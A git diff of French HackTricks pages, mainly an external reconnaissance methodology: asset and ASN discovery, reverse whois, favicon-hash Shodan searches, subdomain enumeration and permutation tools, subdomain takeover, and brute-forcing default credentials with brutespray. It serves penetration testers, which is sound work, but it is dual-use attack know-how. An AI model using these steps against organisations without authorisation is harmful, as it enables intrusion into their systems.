900 | MD4 | Raw Hash
|
900 | MD4 | Raw Hash
|
||||||
0 | MD5 | Raw Hash
|
0 | MD5 | Raw Hash
|
||||||
|
@ -1081,15 +1047,15 @@ Brute-force attacks can be a powerful method for cracking common application has
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
D'autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
|
@ -10,11 +10,11 @@ Autres façons de soutenir HackTricks :
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub**.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||||
|
|
||||||
|
@ -22,13 +22,13 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
|
||||||
|
|
||||||
## Découvertes d'actifs
|
## Découvertes d'actifs
|
||||||
|
|
||||||
> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez savoir ce que possède réellement cette entreprise.
|
> On vous a dit que tout ce qui appartient à une entreprise est inclus dans le périmètre, et vous voulez découvrir ce que possède réellement cette entreprise.
|
||||||
|
|
||||||
Le but de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons :
|
L'objectif de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons :
|
||||||
|
|
||||||
1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre.
|
1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises incluses dans le périmètre.
|
||||||
2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise.
|
2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise.
|
||||||
3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées au premier (cela peut être fait de manière récursive).
|
3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive).
|
||||||
4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive).
|
4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive).
|
||||||
|
|
||||||
### **Acquisitions**
|
### **Acquisitions**
|
||||||
|
@ -37,7 +37,7 @@ Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées p
|
||||||
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\
|
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\
|
||||||
Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**.
|
Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**.
|
||||||
|
|
||||||
> À ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs.
|
> À ce stade, vous devriez connaître toutes les entreprises incluses dans le périmètre. Voyons comment trouver leurs actifs.
|
||||||
|
|
||||||
### **ASNs**
|
### **ASNs**
|
||||||
|
|
||||||
|
@ -46,13 +46,13 @@ Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'acc
|
||||||
|
|
||||||
Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces IPs.\
|
Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces IPs.\
|
||||||
Vous pouvez **rechercher** par le **nom de l'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
Vous pouvez **rechercher** par le **nom de l'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||||
**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). De toute façon, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien.
|
**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien.
|
||||||
```bash
|
```bash
|
||||||
#You can try "automate" this with amass, but it's not very recommended
|
#You can try "automate" this with amass, but it's not very recommended
|
||||||
amass intel -org tesla
|
amass intel -org tesla
|
||||||
amass intel -asn 8911,50313,394161
|
amass intel -asn 8911,50313,394161
|
||||||
```
|
```
|
||||||
De plus, l'**[outil BBOT](https://github.com/blacklanternsecurity/bbot)** effectue automatiquement l'énumération des sous-domaines et agrège les résumés des ASN à la fin de l'analyse.
|
De plus, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrège automatiquement et résume les ASN à la fin de l'analyse.
|
||||||
```bash
|
```bash
|
||||||
bbot -t tesla.com -f subdomain-enum
|
bbot -t tesla.com -f subdomain-enum
|
||||||
...
|
...
|
||||||
|
@ -74,9 +74,9 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous en avez l'autorisation, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\
|
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment tester de manière exhaustive plusieurs services possibles en cours d'exécution.\
|
||||||
**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'accès aux services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'accès à des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||||
|
|
||||||
## Domaines
|
## Domaines
|
||||||
|
|
||||||
|
@ -111,8 +111,8 @@ Vous pouvez utiliser des outils en ligne comme :
|
||||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**)
|
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**)
|
||||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit
|
* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit
|
||||||
|
|
||||||
Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\
|
Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink) (nécessite une clé API whoxy).\
|
||||||
Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois`
|
||||||
|
|
||||||
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.**
|
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.**
|
||||||
|
|
||||||
|
@ -131,7 +131,7 @@ Il existe des pages et des outils qui vous permettent de rechercher ces trackers
|
||||||
|
|
||||||
### **Favicon**
|
### **Favicon**
|
||||||
|
|
||||||
Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) réalisé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser :
|
Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser :
|
||||||
```bash
|
```bash
|
||||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
|
@ -140,11 +140,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
|
|
||||||
En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible.
|
En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible.
|
||||||
|
|
||||||
De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher dans shodan et **trouver plus d'endroits vulnérables**:
|
De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si dans shodan et **trouver plus d'endroits vulnérables**:
|
||||||
```bash
|
```bash
|
||||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||||
```
|
```
|
||||||
Voici comment vous pouvez **calculer le hash du favicon** d'un site web :
|
Voici comment vous pouvez **calculer le hachage du favicon** d'un site web :
|
||||||
```python
|
```python
|
||||||
import mmh3
|
import mmh3
|
||||||
import requests
|
import requests
|
||||||
|
@ -159,7 +159,7 @@ return fhash
|
||||||
```
|
```
|
||||||
### **Droits d'auteur / Chaîne unique**
|
### **Droits d'auteur / Chaîne unique**
|
||||||
|
|
||||||
Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même dans **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"`
|
Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées à travers différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même sur **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"`
|
||||||
|
|
||||||
### **Temps CRT**
|
### **Temps CRT**
|
||||||
|
|
||||||
|
@ -172,7 +172,7 @@ Il est courant d'avoir une tâche cron telle que
|
||||||
|
|
||||||
Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**.
|
Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**.
|
||||||
|
|
||||||
[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **démarre une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle.
|
[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **lance une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle.
|
||||||
|
|
||||||
### **Autres méthodes**
|
### **Autres méthodes**
|
||||||
|
|
||||||
|
@ -192,7 +192,7 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir
|
||||||
|
|
||||||
Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise.
|
Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise.
|
||||||
|
|
||||||
Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. En fonction des services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||||
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
|
@ -295,7 +295,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||||
}
|
}
|
||||||
crt tesla.com
|
crt tesla.com
|
||||||
```
|
```
|
||||||
* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Machine à remonter le temps et de Common Crawl pour un domaine donné.
|
* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
|
||||||
```bash
|
```bash
|
||||||
# Get subdomains from GAUs found URLs
|
# Get subdomains from GAUs found URLs
|
||||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||||
|
@ -328,15 +328,15 @@ python3 DomainTrail.py -d example.com
|
||||||
* [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des adresses IP
|
* [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des adresses IP
|
||||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||||
|
|
||||||
Ce projet offre **gratuitement tous les sous-domaines liés aux programmes de bug bounty**. Vous pouvez accéder à ces données également en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
Ce projet offre gratuitement tous les sous-domaines liés aux programmes de bug bounty. Vous pouvez accéder à ces données également en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||||
|
|
||||||
Vous pouvez trouver une **comparaison** de nombreux de ces outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
Vous pouvez trouver une comparaison de nombreux de ces outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||||
|
|
||||||
### **Brute force DNS**
|
### **Brute force DNS**
|
||||||
|
|
||||||
Essayons de trouver de nouveaux **sous-domaines** en forçant les serveurs DNS en utilisant des noms de sous-domaine possibles.
|
Essayons de trouver de nouveaux sous-domaines en forçant les serveurs DNS en utilisant des noms de sous-domaine possibles.
|
||||||
|
|
||||||
Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domaines courants comme**:
|
Pour cette action, vous aurez besoin de listes de mots de sous-domaines courants comme:
|
||||||
|
|
||||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||||
|
@ -348,7 +348,7 @@ Et aussi des adresses IP de bons résolveurs DNS. Pour générer une liste de r
|
||||||
|
|
||||||
Les outils les plus recommandés pour le brute force DNS sont:
|
Les outils les plus recommandés pour le brute force DNS sont:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil qui a effectué un brute force DNS efficace. Il est très rapide mais il est sujet aux faux positifs.
|
* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil à effectuer un brute force DNS efficace. Il est très rapide mais sujet aux faux positifs.
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
|
@ -358,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||||
```
|
```
|
||||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||||
```
|
```
|
||||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est une enveloppe autour de `massdns`, écrite en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile.
|
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile.
|
||||||
```
|
```
|
||||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||||
```
|
```
|
||||||
|
@ -366,7 +366,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||||
```
|
```
|
||||||
puredns bruteforce all.txt domain.com
|
puredns bruteforce all.txt domain.com
|
||||||
```
|
```
|
||||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer de manière asynchrone des noms de domaine.
|
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer de manière asynchrone les noms de domaine.
|
||||||
```
|
```
|
||||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||||
```
|
```
|
||||||
|
@ -374,7 +374,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||||
|
|
||||||
Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la force brute, vous pourriez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cette fin :
|
Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la force brute, vous pourriez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cette fin :
|
||||||
|
|
||||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** : ** Étant donné les domaines et sous-domaines, générer des permutations.
|
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** :** À partir des domaines et sous-domaines donnés, générer des permutations.
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dnsgen -
|
cat subdomains.txt | dnsgen -
|
||||||
```
|
```
|
||||||
|
@ -392,17 +392,17 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
```
|
```
|
||||||
* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil forcera le résultat (il ne prend pas en charge les wildcards DNS).
|
* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil effectuera une attaque en force sur le résultat (il ne prend pas en charge les wildcards DNS).
|
||||||
* Vous pouvez obtenir la liste de mots de permutations de dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
* Vous pouvez obtenir la liste de mots de permutations de dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||||
```
|
```
|
||||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** en fonction des modèles indiqués pour essayer de découvrir plus de sous-domaines.
|
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** basés sur des modèles indiqués pour essayer de découvrir plus de sous-domaines.
|
||||||
|
|
||||||
#### Génération intelligente de permutations
|
#### Génération intelligente de permutations
|
||||||
|
|
||||||
* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines.
|
* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines.
|
||||||
```bash
|
```bash
|
||||||
